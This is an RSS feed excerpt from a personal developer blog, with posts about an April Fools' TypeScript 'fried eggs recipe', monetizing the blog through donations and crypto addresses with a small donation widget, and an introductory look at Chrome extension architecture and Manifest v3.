So,...]]></description><link>https://blog.jrlgs.dev/javascript-is-too-hard-so-im-pivoting-into-a-cooking-blog</link><guid isPermaLink="true">https://blog.jrlgs.dev/javascript-is-too-hard-so-im-pivoting-into-a-cooking-blog</guid><category><![CDATA[TypeScript]]></category><category><![CDATA[Programming Blogs]]></category><category><![CDATA[Blogging]]></category><category><![CDATA[JavaScript]]></category><category><![CDATA[business]]></category><dc:creator><![CDATA[Jorge Romero]]></dc:creator><pubDate>Fri, 01 Apr 2022 16:21:34 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1648830026043/V2ssN8aFx.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Ok, here's the thing. I suck at coding. And I don't really like frontend. I have no industry experience. </p>
<p>And let's not kid ourselves, the only job title I actually will accept is that of <em>Senior Fullstack Cloud Serverless Architect, or something</em>.</p>
<p>So, after <em>minutes</em> of soul searching, I clinched a new goal. I flailed my arms up in the air, and with a dry gulp I sighed "F*ck it! I'm starting a cooking blog"</p>
<h2 id="heading-the-obligatory-tedious-life-story-nobody-cares-about-in-every-single-cooking-blog">The obligatory tedious life story nobody cares about. In Every. Single. Cooking. Blog.</h2>
<p>... Let's just agree that neither you want to read this, nor I want to write it. Moving on...</p>
<h2 id="heading-a-recipe-for-fried-eggs-because-thats-the-only-thing-i-can-cook">A recipe for fried eggs. (Because that's the only thing I can cook)</h2>
<p>Let's start by importing and initializing our eggs</p>
<pre><code class="lang-TypeScript"><span class="hljs-keyword">import</span> {CreateEgg, Egg} <span class="hljs-keyword">from</span> <span class="hljs-string">"./modules/Egg.js"</span>

<span class="hljs-keyword">const</span> eggs : <span class="hljs-built_in">Array</span>&lt;Egg&gt; = CreateEgg(<span class="hljs-number">2</span>)
</code></pre>
<p>You may note that I hard coded the number of eggs, which is not really a good idea. But this is a cooking blog! Quit expecting me to adopt good engineering practices! &gt;:(</p>
<p>Moving on, we will also need some utility methods. The <code>kitchen.js</code> library is really simple to use, and very powerful if you take the time to dive into the docs.</p>
<p>To install it just run <code>npm install kitchen.js</code>. As we will use TypeScript for this tutorial, we will also need to grab the types with <code>npm install @types/kitchen.js</code></p>
<pre><code class="lang-TypeScript"><span class="hljs-keyword">import</span> {Pan} <span class="hljs-keyword">from</span> <span class="hljs-string">"kitchen.js"</span>

<span class="hljs-keyword">const</span> pan = <span class="hljs-keyword">new</span> Pan(eggs.map(<span class="hljs-function"><span class="hljs-params">e</span> =&gt;</span> e.break()))
</code></pre>
<p>The constructor for the <code>Pan</code> object takes an array of <code>cookable</code> objects. Luckily it can cast our Egg object as a <code>cookable</code> with no extra work on our part. Given that it implements the <code>cookable</code> interface. One of the really nice things about TypeScript :D</p>
<p>The Egg class has a really convenient <code>break()</code> method that returns the egg already broken, saving you hours of tedious manual work. Also, we want to pass the already broken eggs into the pan constructor. Obviously.</p>
<p>Before we cook the eggs, note that the <code>cook()</code> method of <code>Pan</code> gives us the option to pass a callback to taste for salt. (There is a Promise version of this, but for simplicity we will stick to callbacks)</p>
<pre><code class="lang-TypeScript">
<span class="hljs-keyword">import</span> {Taste, AddSalt} <span class="hljs-keyword">from</span> <span class="hljs-string">"Kitchen.js"</span>

pan.cook(<span class="hljs-function">(<span class="hljs-params">t</span>) =&gt;</span> {
  <span class="hljs-keyword">if</span> (t &lt; Taste.good) {
    AddSalt(<span class="hljs-number">1</span>)
  }
})
</code></pre>
<p>Note that <code>AddSalt()</code> takes the amount of salt in grams. Be careful! Also, Kitchen.js will take care of checking for salt at appropriate times, so you don't need to worry about it.</p>
<p>Finally, we can think of a way of serving and eating our eggs.</p>
<pre><code class="lang-TypeScript">
<span class="hljs-keyword">import</span> {Plate} <span class="hljs-keyword">from</span> <span class="hljs-string">"Kitchen.js"</span>

<span class="hljs-keyword">const</span> plate = <span class="hljs-keyword">new</span> Plate(pan.serve())

plate.eat()
</code></pre>
<p>Again, kitchen.js is really nice because the pan object works seamlessly with <code>Plate</code>. Thats because <code>Pan.serve()</code> returns the pan’s contents wrapped in a <code>cooked</code> monad, which <code>Plate</code> expects.</p>
<h1 id="heading-epilogue">Epilogue.</h1>
<p>That was fun!</p>
<p>:D</p>
]]></content:encoded></item><item><title><![CDATA[I was featured again!]]></title><description><![CDATA[This the obligatory celebration post!
This is the third time that a post of mine was featured. I somehow missed the second XD
Check out my (self-proclaimed) award-winning posts!
Here are the posts that have been featured!

Networking for Success!

Ly...]]></description><link>https://blog.jrlgs.dev/i-was-featured-again</link><guid isPermaLink="true">https://blog.jrlgs.dev/i-was-featured-again</guid><category><![CDATA[fun]]></category><category><![CDATA[Blogging]]></category><category><![CDATA[Programming Blogs]]></category><category><![CDATA[100DaysOfCode]]></category><category><![CDATA[learning]]></category><dc:creator><![CDATA[Jorge Romero]]></dc:creator><pubDate>Sun, 27 Mar 2022 18:49:06 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1648406320839/FLn_lGxNT.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h3 id="heading-this-the-obligatory-celebration-post">This the obligatory celebration post!</h3>
<p>This is the third time that a post of mine was featured. I somehow missed the second XD</p>
<h3 id="heading-check-out-my-self-proclaimed-award-winning-posts">Check out my (self-proclaimed) award-winning posts!</h3>
<p>Here are the posts that have been featured!</p>
<ol>
<li><p><a target="_blank" href="https://jorgerl.hashnode.dev/networking-for-success">Networking for Success!</a></p>
</li>
<li><p><a target="_blank" href="https://jorgerl.hashnode.dev/01-lygometry-figuring-out-what-i-dont-know-yet">Lygometry. Figuring out what I don't know, yet.</a></p>
</li>
<li><p><a target="_blank" href="https://jorgerl.hashnode.dev/02-watch-me-build-stuff-exhibit-a-chrome-extensions">Watch me Build Stuff. Exhibit A: Chrome Extensions.</a></p>
</li>
</ol>
<blockquote>
<p>Disclaimer: My imaginary lawyers tell me that I must disclose that they are in fact not winners of awards.</p>
</blockquote>
<h3 id="heading-heres-an-idea">Here's an idea</h3>
<p>What if I mint a celebratory limited-edition NFT (<a target="_blank" href="https://www.followchain.org/ethereum-vs-polygon-nft/">preferably on Polygon</a> for the gas fees) for my featured-article celebrations?</p>
<p>I could make it so that you can claim it from the celebration posts, like this one! By placing a big button inside the post where you can run a minting smart contract directly with Metamask. </p>
<p>For free, of course! :D</p>
<p>I try hard to make quality stuff. I want to share some of the joy with you! &lt;- and if I become famous you get a very <a target="_blank" href="https://www.npr.org/2021/03/11/976141522/beeple-jpg-file-sells-for-69-million-setting-crypto-art-record"><em>expensive jpg</em></a> for free!</p>
<hr />
<p>Thank you Hashnode team!</p>
]]></content:encoded></item><item><title><![CDATA[Clicky the thingy so I can eat next week]]></title><description><![CDATA[I'm taking some steps towards monetizing my blog and my writing. Hopefully without selling out.
But. If you start seeing advertisements here... 

I have a little bonus for you at the end though!

Hopefully these ideas are useful to you if you also wa...]]></description><link>https://blog.jrlgs.dev/clicky-the-thingy-so-i-can-eat-next-week</link><guid isPermaLink="true">https://blog.jrlgs.dev/clicky-the-thingy-so-i-can-eat-next-week</guid><category><![CDATA[Programming Blogs]]></category><category><![CDATA[Blogging]]></category><category><![CDATA[Cryptocurrency]]></category><category><![CDATA[Monetization]]></category><category><![CDATA[Ethereum]]></category><dc:creator><![CDATA[Jorge Romero]]></dc:creator><pubDate>Sun, 27 Mar 2022 02:50:08 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1648348223724/NprB_y6d_.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>I'm taking some steps towards monetizing my blog and my writing. Hopefully without selling out.</p>
<p>But. If you start seeing advertisements here... </p>
<blockquote>
<p>I have a little bonus for you at the end though!</p>
</blockquote>
<p>Hopefully these ideas are useful to you if you also want to monetize your writing :D</p>
<h1 id="heading-monetizing-the-blog">Monetizing the blog</h1>
<p>As I am currently trying to learn enough to get a job in software development. As depressing as doomscrolling through job offers is...</p>
<p>I want to find other ways to get some income. Believe it or not, $500 USD a month would be life-changing for me. It would match my previous earnings.</p>
<h1 id="heading-amazon-and-buy-me-a-coffee">Amazon and Buy me a Coffee.</h1>
<p>I will be sharing my trademark book recommendations with affiliate links. So If you want to get the books you can help me out, at no cost to you!</p>
<p>I promise I won't spam you with books though. I only share those that are relevant :D</p>
<p>With regards to buy me a coffee, I set up the "monthly subscription" option, if anyone of you feels generous XD</p>
<h1 id="heading-im-now-accepting-crypto">I’m now accepting Crypto!</h1>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1648349335091/i1zk_08R_.jpeg" alt="29BE5617-5F28-4CF8-887C-C28FA89D294B.jpeg" /></p>
<p>Here, I'll share my BTC address</p>
<pre><code class="lang-html">bc1q57j0ltl7y8ah7sqgpdcvganpatk4p2c0nj73gh
</code></pre>
<p>And my ETH address</p>
<pre><code class="lang-html">0x4ad4D62748000239AE9Ca112A6C2390761BF065A
</code></pre>
<p>I also use that wallet for Polygon and Binance Smart Chain. So I can receive <em>any token</em>, from any of those three chains, with the same address!</p>
<p>If you are feeling <em>extra generous</em>, you may send me an NFT as well!</p>
<p>I will draw a picture for you and mint an NFT back for you in return! </p>
<blockquote>
<p>But hopefully not on Ethereum because the gas is still too high XD</p>
</blockquote>
<h1 id="heading-monetizing-my-writing">Monetizing my writing</h1>
<p>On the other hand, I intend to try my luck at writing. I didn't really though it was <em>a thing</em>. But I recently came across this article on <a target="_blank" href="https://catalins.tech/how-to-make-money-with-technical-articles-as-a-developer">how to make money with technical writing</a> by <a class="user-mention" href="https://hashnode.com/@Catalinpit">Catalin Pit</a>. </p>
<p>So I will give it a try.</p>
<p>Hopefully I can afford the monthly Grammarly subscription.</p>
<h2 id="heading-freelancing-writing-opportunities">Freelancing writing opportunities?</h2>
<p>I recently applied for two freelancing opportunities writing articles here on Hashnode. Let's see if I'm approved!</p>
<p>Catalin also shared a comprehensive list of <a target="_blank" href="https://catalins.tech/websites-that-pay-you-to-write-technical-articles">publications that pay for writing articles</a></p>
<h2 id="heading-seo">SEO</h2>
<p>Finally, <a class="user-mention" href="https://hashnode.com/@SandroVolpicella">Sandro Volpicella</a> wrote the article <a target="_blank" href="https://sandro.volpee.de/seo-for-technical-content-writers">SEO for Technical Content Writers</a></p>
<p>Which is a topic I knew nothing about. I'll be learning about it in the following week. And try to figure out how to do it :D</p>
<h1 id="heading-something-fun">Something fun!</h1>
<p>I have a little extra to share with you!</p>
<p>Check the "buy me a coffee" button at the end of the post. Then reload the page and check it again!</p>
<p>XD</p>
<p>I set up a Hashnode widget to dynamically select one message. Here.</p>
<pre><code class="lang-html"><span class="hljs-tag">&lt;<span class="hljs-name">pre</span>&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">hr</span>&gt;</span>

<span class="hljs-tag">&lt;<span class="hljs-name">style</span> <span class="hljs-attr">type</span>=<span class="hljs-string">"text/css"</span>&gt;</span><span class="css">

<span class="hljs-selector-id">#blurb</span> {
  <span class="hljs-attribute">font-family</span>: sans-serif;
  <span class="hljs-attribute">font-size</span>: <span class="hljs-number">1.5em</span>;
}
</span><span class="hljs-tag">&lt;/<span class="hljs-name">style</span>&gt;</span>

<span class="hljs-tag">&lt;<span class="hljs-name">p</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"blurb"</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">p</span>&gt;</span>

<span class="hljs-tag">&lt;<span class="hljs-name">a</span> <span class="hljs-attr">href</span>=<span class="hljs-string">"https://www.buymeacoffee.com/jorchRL"</span> <span class="hljs-attr">target</span>=<span class="hljs-string">"_blank"</span> <span class="hljs-attr">rel</span>=<span class="hljs-string">"noopener noreferrer"</span> &gt;</span><span class="hljs-tag">&lt;<span class="hljs-name">img</span> <span class="hljs-attr">src</span>=<span class="hljs-string">"https://img.buymeacoffee.com/button-api/?text=Buy me a Coffee :3&amp;emoji=&amp;slug=jorchRL&amp;button_colour=40DCA5&amp;font_colour=ffffff&amp;font_family=Comic&amp;outline_colour=000000&amp;coffee_colour=FFDD00"</span> /&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">a</span>&gt;</span>


<span class="hljs-tag">&lt;<span class="hljs-name">script</span> <span class="hljs-attr">type</span>=<span class="hljs-string">"text/javascript"</span>&gt;</span><span class="javascript">

<span class="hljs-keyword">const</span> blurbs = [
  <span class="hljs-string">"*obligatory beg-for-money section*"</span>,
  <span class="hljs-string">"Do you like my stuff? Do you want to help my keep doing it? With cash!?"</span>,
  <span class="hljs-string">"I enjoy eating, you know?"</span>,
  <span class="hljs-string">"Clicky clicky, gimme that coffee!"</span>,
  <span class="hljs-string">"Send money :D"</span>,
  <span class="hljs-string">"*begs for money*"</span>,
  <span class="hljs-string">"*Makes puppy face. Looks at empty wallet*"</span>,
  <span class="hljs-string">"Quickly! Click that button! No time to explain!"</span>
];

<span class="hljs-keyword">const</span> blurbNode = <span class="hljs-built_in">document</span>.getElementById(<span class="hljs-string">"blurb"</span>)

blurbNode.innerHTML = blurbs[<span class="hljs-built_in">Math</span>.floor(<span class="hljs-built_in">Math</span>.random()*blurbs.length)]

</span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span>

<span class="hljs-tag">&lt;/<span class="hljs-name">pre</span>&gt;</span>
</code></pre>
<p>I also made a widget for the crypto addresses:</p>
<pre><code class="lang-html"><span class="hljs-tag">&lt;<span class="hljs-name">pre</span>&gt;</span>

<span class="hljs-tag">&lt;<span class="hljs-name">style</span> <span class="hljs-attr">type</span>=<span class="hljs-string">"text/css"</span>&gt;</span><span class="css">

<span class="hljs-selector-class">.logo</span> {
  <span class="hljs-attribute">width</span>: <span class="hljs-number">30px</span>;
  <span class="hljs-attribute">height</span>: <span class="hljs-number">30px</span>;
  <span class="hljs-attribute">padding</span>: <span class="hljs-number">5px</span>;
  }
<span class="hljs-selector-class">.address-box</span> {
  <span class="hljs-attribute">max-width</span>: <span class="hljs-number">500px</span>;
  <span class="hljs-attribute">display</span>:flex;
  <span class="hljs-attribute">align-items</span>:center;
  }

<span class="hljs-selector-class">.address</span> {
  <span class="hljs-attribute">cursor</span>: text;
  <span class="hljs-attribute">min-width</span>: <span class="hljs-number">300px</span>;
  }

</span><span class="hljs-tag">&lt;/<span class="hljs-name">style</span>&gt;</span>

<span class="hljs-tag">&lt;<span class="hljs-name">span</span>&gt;</span>Consider sending me some crypto!<span class="hljs-tag">&lt;/<span class="hljs-name">span</span>&gt;</span>

<span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"btc"</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"address-box"</span> &gt;</span>
  <span class="hljs-tag">&lt;<span class="hljs-name">input</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"address"</span> <span class="hljs-attr">onclick</span>=<span class="hljs-string">"this.select()"</span> <span class="hljs-attr">type</span>=<span class="hljs-string">"text"</span> <span class="hljs-attr">readonly</span>=<span class="hljs-string">"readonly"</span>    <span class="hljs-attr">spellcheck</span>=<span class="hljs-string">"false"</span> <span class="hljs-attr">value</span>=<span class="hljs-string">"bc1q57j0ltl7y8ah7sqgpdcvganpatk4p2c0nj73gh"</span> &gt;</span>
  <span class="hljs-tag">&lt;<span class="hljs-name">img</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"logo"</span> <span class="hljs-attr">src</span>=<span class="hljs-string">"&lt;btc logo src&gt;"</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>

<span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"btc"</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"address-box"</span>&gt;</span>
  <span class="hljs-tag">&lt;<span class="hljs-name">input</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"address"</span> <span class="hljs-attr">onclick</span>=<span class="hljs-string">"this.select()"</span> <span class="hljs-attr">type</span>=<span class="hljs-string">"text"</span> <span class="hljs-attr">readonly</span>=<span class="hljs-string">"readonly"</span> <span class="hljs-attr">spellcheck</span>=<span class="hljs-string">"false"</span> <span class="hljs-attr">value</span>=<span class="hljs-string">"0x4ad4D62748000239AE9Ca112A6C2390761BF065A"</span> &gt;</span>
  <span class="hljs-tag">&lt;<span class="hljs-name">img</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"logo"</span> <span class="hljs-attr">src</span>=<span class="hljs-string">"&lt;eth logo src&gt;"</span>&gt;</span>
  <span class="hljs-tag">&lt;<span class="hljs-name">img</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"logo"</span> <span class="hljs-attr">src</span>=<span class="hljs-string">"&lt;bnb logo src&gt;"</span>&gt;</span>
  <span class="hljs-tag">&lt;<span class="hljs-name">img</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"logo"</span> <span class="hljs-attr">src</span>=<span class="hljs-string">"&lt;matic logo src&gt;"</span>&gt;</span>

<span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>


<span class="hljs-tag">&lt;/<span class="hljs-name">pre</span>&gt;</span>
</code></pre>
<h1 id="heading-epilogue">Epilogue</h1>
<p>Hopefully you got some ideas for monetization!</p>
<p>See you next time!</p>
<div class="hn-embed-widget" id="money-footer"></div><div class="hn-embed-widget" id="crypto-footer"></div>]]></content:encoded></item><item><title><![CDATA[02. Watch me build stuff. Exhibit A: Chrome Extensions]]></title><description><![CDATA[Let's figure stuff out.
Last post, I suggested a method for figuring stuff out. So let's put it to use for a real project. 
I want to learn how to build a fully fledged SaaS (software as a service) product based around a Chrome Extension.
I will docu...]]></description><link>https://blog.jrlgs.dev/02-watch-me-build-stuff-exhibit-a-chrome-extensions</link><guid isPermaLink="true">https://blog.jrlgs.dev/02-watch-me-build-stuff-exhibit-a-chrome-extensions</guid><category><![CDATA[software architecture]]></category><category><![CDATA[software development]]></category><category><![CDATA[Programming Blogs]]></category><category><![CDATA[Blogging]]></category><category><![CDATA[JavaScript]]></category><dc:creator><![CDATA[Jorge Romero]]></dc:creator><pubDate>Fri, 25 Mar 2022 20:01:26 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1648236621343/0fhJHoUh6.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h1 id="heading-lets-figure-stuff-out">Let's figure stuff out.</h1>
<p>Last post, I suggested a <a target="_blank" href="https://jorgerl.hashnode.dev/01-lygometry-figuring-out-what-i-dont-know-yet">method for <em>figuring stuff out</em></a>. So let's put it to use for a real project. </p>
<p>I want to learn how to build a fully fledged SaaS (software as a service) product based around a Chrome Extension.</p>
<p>I will document the process as I go through. Starting from knowing nothing. Tumbling my way into a real-life useful extension. And eventually a complete fullstack SaaS project. Remember that the broad goal of this series is getting real-life experience!</p>
<p>In this post, I will provide an overview of chrome extensions. Then I will elaborate on the broad project and its design. Finally, I will hint at what will come next, in future posts!</p>
<h1 id="heading-lets-get-started">Let's get started</h1>
<p>For completeness sake, let's quickly recap what the technique is about:</p>
<blockquote>
<ul>
<li>Asking <em>why</em> implies multiple <em>whats</em> and their relations.</li>
<li>The relations between things and between concepts are what matters most. </li>
<li>Lygometry. Find out where the "edge" of your knowledge is and <em>always</em> go from there. Attempt to solve <em>open questions</em> you have.</li>
<li>Knowledge is effective action. Become able to explain or do <em>efficiently</em> and <em>on demand</em>. It doesn't count if "you think you could do it". Only if you can actually do it.</li>
</ul>
</blockquote>
<p>And a fair warning. This is not a <em>recipe</em>. If anything, it's a set of <em>thinking tools</em> or heuristics that I use. And that I took the effort to <em>showcase</em> to you, in a manner that <em>I think</em> you can find valuable.</p>
<p>The goal of this series is "learning in public". So expect to witness me making dumb mistakes. </p>
<p>That is, don't expect to learn how to make a chrome extension. What I want is to show you <em>how I think</em>. </p>
<blockquote>
<p>Thats the lawyer-required disclaimer anyways... I <em>will</em> try hard to make it worth your time.</p>
</blockquote>
<hr />
<h2 id="heading-ask-a-pro">Ask a pro</h2>
<p>The very first thing I did was asking my friend <a class="user-mention" href="https://hashnode.com/@mszeles">Miki Szeles</a> because he is an absolute pro and recently made his own chrome extension. <a target="_blank" href="https://chrome.google.com/webstore/detail/selenideium-element-inspe/mgfhljklijclnfeglclagdeoiknnmnda">Selenideium Element inspector</a>. Check it out. For all your element-inspecting needs! </p>
<p>He pointed me out to his series <a target="_blank" href="https://mszeles.com/series/selenideium-inspector">How To Create Your Very Own Chrome Extension - Selenideium Element Inspector</a>. </p>
<p>I told him it was way too advanced for me to follow... Because silly me started reading from the last article in the series! (the one with the big, colorful "breaking news" cover image)</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1647927185337/R8hLZCJVc.jpeg" alt="841121FF-1024-4FBE-875C-14294CA4B6FB.jpeg" /></p>
<p>Sorry Miki. My mistake :D</p>
<p>Anyways. I eventually figured out where the first article in the series was. And learned more than the basics. I will try to mimic his approach with this post. </p>
<p>Miki, being a seasoned developer doesn't spend too much time with the low-level details. And focuses on the higher-level rationale. I think that's a fantastic approach to learning for beginners. You are encouraged, nay <em>forced</em>, to think hard and fill-in some blanks. Just to be able to follow.</p>
<p>I also wanted to do my own research. So let's start with that.</p>
<blockquote>
<p>By the way. I made my very first open source contribution ever to this project!</p>
</blockquote>
<h2 id="heading-doing-research-on-my-own">Doing research on my own</h2>
<p>Good, high-quality research <em>demands</em> asking ambitious questions.</p>
<p>I typed "why did google build chrome" into... Bing. Obviously. Anyways. My eyes latched onto this four first-page results.</p>
<ul>
<li><p><a target="_blank" href="https://www.androidauthority.com/google-chrome-history-1025602/">Google Chrome: Its history and rise to market domination</a></p>
</li>
<li><p><a target="_blank" href="https://www.computerworld.com/article/2480311/the-real-reason-google-is-making-chrome.html">The real reason Google is making Chrome</a></p>
</li>
<li><p><a target="_blank" href="https://nira.com/chrome-history/">From 0 to 70% Market Share: How Google Chrome Ate the Internet</a></p>
</li>
<li><p><a target="_blank" href="https://startuptalky.com/google-chrome-browser-case-study/">How was Chrome browser Started? - History of Google Chrome</a></p>
</li>
</ul>
<blockquote>
<p>You know, research is tedious. But wretched are those that falter. Take heart! Near attrition, <a target="_blank" href="https://www.youtube.com/watch?v=iDbyYGrswtg">the elders of the internet</a> shall acquiesce your grit. </p>
</blockquote>
<p>You won't wander too long before the wonderful <a target="_blank" href="https://www.google.com/googlebooks/chrome/index.html"><em>chrome comic</em></a> is bestowed unto you!</p>
<blockquote>
<p>Oh! how I love <a target="_blank" href="https://www.youtube.com/watch?v=Vywf48Dhyns">The Internet</a>.</p>
</blockquote>
<h1 id="heading-learning-about-chrome-extensions">Learning about Chrome Extensions</h1>
<h2 id="heading-chromes-architecture">Chrome's architecture</h2>
<p>The most important insight I got from that short incursion, and for the purposes of this post, was that the <em>thing</em> that chrome introduced, back in the day, was sandboxing.</p>
<ul>
<li>Chrome runs a browser-wise process</li>
<li>And several tab-wise processes</li>
</ul>
<p>Thus each tab's process is isolated. For two reasons. First, security. Which is pretty obvious. And second, performance. So that if any one tab's process hangs, the browser can keep working just fine. Chrome even has a task manager of its own!</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1648236643790/Ivp-SzVaD.jpeg" alt="155B6A5F-AF50-433A-8EE9-91E9802AB684.jpeg" /></p>
<p>A thing to note is that extensions are sandboxed, just as webpages. But they can send messages back and forth with the browser and with webpages.</p>
<p>If you have used extensions before. Some ideas may be popping into your mind at this point. </p>
<h2 id="heading-why-extensions">Why Extensions</h2>
<p>Let's entertain some reasoning about extensions, based on these two principles.</p>
<ul>
<li>they are downloadable and installed</li>
<li>they interact with pages and also the browser itself</li>
</ul>
<p>They cannot just be"downloadable web apps for the browser". That is, it doesn't make much sense that they would be just tab-sandboxed applications. Otherwise they are just, well, web apps, but less convenient. Also, we already have "chrome apps".</p>
<p>But they also can interact or interfere with individual pages on tabs. And with multiple tabs on the same browser session. That is, they can run instructions both tab-wise and browser-wise. And any individual extension may incur in either one of those contexts, or in both, in order to provide its functionality.</p>
<p>Let's see a couple examples</p>
<h3 id="heading-metamask">Metamask</h3>
<p>If you are into crypto you already know what metamask is. If not. <a target="_blank" href="https://metamask.io">Metamask is a crypto wallet</a>. It holds your private and public keys so that you can interact with the Ethereum blockchain (and others based on Ethereum's standards, like Polygon and BSC).</p>
<p><a target="_blank" href="https://docs.metamask.io/guide/ethereum-provider.html#table-of-contents">Metamask injects an <code>ethereum</code> object in the webpage and exposes it as a javascript API</a>. So that developers can leverage metamask in their <em>dApps</em>. When a transaction is sent from the webpage via metamask, it goes through <a target="_blank" href="https://infura.io/faq/general">metamask's infura endpoint</a> into the ethereum network. </p>
<p>Your metamask account and ethereum keys are stored browser-wise. But it also injects an api that tab-wise pages can access.</p>
<h3 id="heading-ad-block">Ad Block</h3>
<p>This one is pretty straight forward. It removes or hides parts of a webpage that it identifies as ads. But you can keep browser-wise configuration on the "strictness" of the blocking, for example.</p>
<h1 id="heading-so-what-are-extensions-then">So what are extensions then?</h1>
<p>Given what we have uncovered, here's a hypothesis. Architecturally, extensions behave somewhat like bridges. Between the a browser-wide context and the individual tab's context. </p>
<p>And functionally, extensions act as a not-so-obvious application of <a target="_blank" href="https://refactoring.guru/design-patterns/decorator">the decorator pattern</a>. That you may know from software engineering. Or at the very least, something <em>functionally</em> similar. </p>
<p>They "decorate" webpages with additional functionality. Mind you, this is a very lax use of the term "decorator pattern" as I am not claiming that their code is structured in any particular way. Just that the functionality expresses that behavior.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1648236663871/kai5DZBh6.jpeg" alt="7A892E65-3626-4D85-AB7F-CE291570D6F4.jpeg" /></p>
<p>So that's what we uncovered about what extensions are. Given the way they relate to both the browser and individual web pages. </p>
<p>But we haven't said anything about what extensions are <em>intrinsically</em> yet. Its easier to see the forest first. Then ask about the trees. Instead of prematurely jump into <em>hands-on</em> tutorials in the name of pragmatism.</p>
<blockquote>
<p>Alas, the time is now ripe for exploring the gory details. Fasten your seatbelt. I drive fast!</p>
</blockquote>
<h2 id="heading-manifest-v3">Manifest v3</h2>
<p>As of <a target="_blank" href="https://developer.chrome.com/docs/extensions/mv3/mv2-sunset/">January 17 2022</a> Google has stopped accepting new extensions with manifest v2 in the Chrome Web Store. So you may still find tutorials that use it. </p>
<p>With manifest v3 they introduced several changes. Three of them are of relevance for us right now.</p>
<p>First. They are revamping the chrome api to make it promise-based. You can still use callbacks. But <a target="_blank" href="https://developer.chrome.com/docs/extensions/mv3/intro/mv3-overview/#promises">first-class support for promises</a> will now be the preferred way of doing things. This means that you can write more readable and declarative code with <a target="_blank" href="https://javascript.info/async-await">the <code>async/await</code> syntax</a> and <a target="_blank" href="https://javascript.info/promise-chaining">promise-chaining</a>. Which is great news if you are <em>functionally inclined</em> like me!</p>
<p>Second. It now relies on <a target="_blank" href="https://developer.chrome.com/docs/workbox/service-worker-overview/">Service Workers</a> instead of background scripts. You now listen to and react to browser events exposed by chrome's extension API. Instead of having a script run when the extension is loaded. Service workers are <a target="_blank" href="https://developer.chrome.com/docs/extensions/mv3/migrating_to_service_workers/#events">intended to be spawned on demand and disposed of when no longer needed</a>.</p>
<p>Third, because they want you to take a declarative <a target="_blank" href="https://developer.chrome.com/docs/extensions/mv3/service_workers/">event-driven style</a> to writing extensions. That means, letting chrome handle <em>how</em> things, <a target="_blank" href="https://developer.chrome.com/docs/extensions/reference/declarativeNetRequest/">like network requests</a>, are done. And you focusing only on the <em>what</em> needs to be done and <em>when</em>.</p>
<p>Google says, it has several compelling reasons for this. <a target="_blank" href="https://developer.chrome.com/docs/extensions/mv3/intro/platform-vision/#where-were-headed">Security, Performance, and “Webbiness”, are among those</a>.</p>
<h2 id="heading-chrome-api">Chrome API</h2>
<p>You write extensions with javascript, html and css. Google designed it that way. So you have access to pretty much all web APIs you can use for normal webpages.</p>
<p>But you may also use <a target="_blank" href="https://youtu.be/bmxr75CV36A">chrome extension-specific APIs</a>. These all live comfortably inside the <a target="_blank" href="https://developer.chrome.com/docs/extensions/reference/"><code>chrome</code> namespace</a>. Take a look:</p>
<pre><code class="lang-javascript">chrome.action.onClicked.addListener(<span class="hljs-function"><span class="hljs-keyword">function</span>(<span class="hljs-params">tab</span>) </span>{
  chrome.tabs.create( {
    <span class="hljs-attr">url</span>: chrome.runtime.getURL(<span class="hljs-string">"helloWorld.html"</span>)
  })
})
</code></pre>
<p>This code register an <code>onClicked</code> event to an <a target="_blank" href="https://developer.chrome.com/docs/extensions/reference/action/">"action"</a>. Which means it adds a click event on the extension's browser toolbar icon. When triggered, it opens a new browser tab. Which loads an HTML file packed with the extension.</p>
<p>Take a look at this next example of <a target="_blank" href="https://developer.chrome.com/docs/extensions/reference/bookmarks">working with bookmarks</a>:</p>
<pre><code class="lang-javascript">chrome.bookmarks.update(<span class="hljs-string">"bookmark_id"</span>, {<span class="hljs-attr">title</span>: <span class="hljs-string">"bookmark title"</span>},
  <span class="hljs-function"><span class="hljs-keyword">function</span> (<span class="hljs-params">bookmarkNode</span>) </span>{
  ... <span class="hljs-comment">// Do stuff with the updated bookmark</span>
  }
)
</code></pre>
<p>This example, as many other methods in the API, is asynchronous. This means that it returns immediately, regardless of whether they have finished running. If you want to get data back from them, you have to pass a callback. Or use promises, but <a target="_blank" href="https://developer.chrome.com/docs/extensions/mv3/intro/mv3-overview/">for those APIs that manifest v3 has Promise support as of now</a>.</p>
<p>Finally, you can persist data with chrome's own extension API, <a target="_blank" href="https://developer.chrome.com/docs/extensions/reference/storage/"><code>chrome.storage</code></a>. Which behaves just the same as the <a target="_blank" href="https://developer.mozilla.org/en-US/docs/Web/API/Window/localStorage">localStorage web API</a>. With the main difference being that you can sync data with Chrome sync.</p>
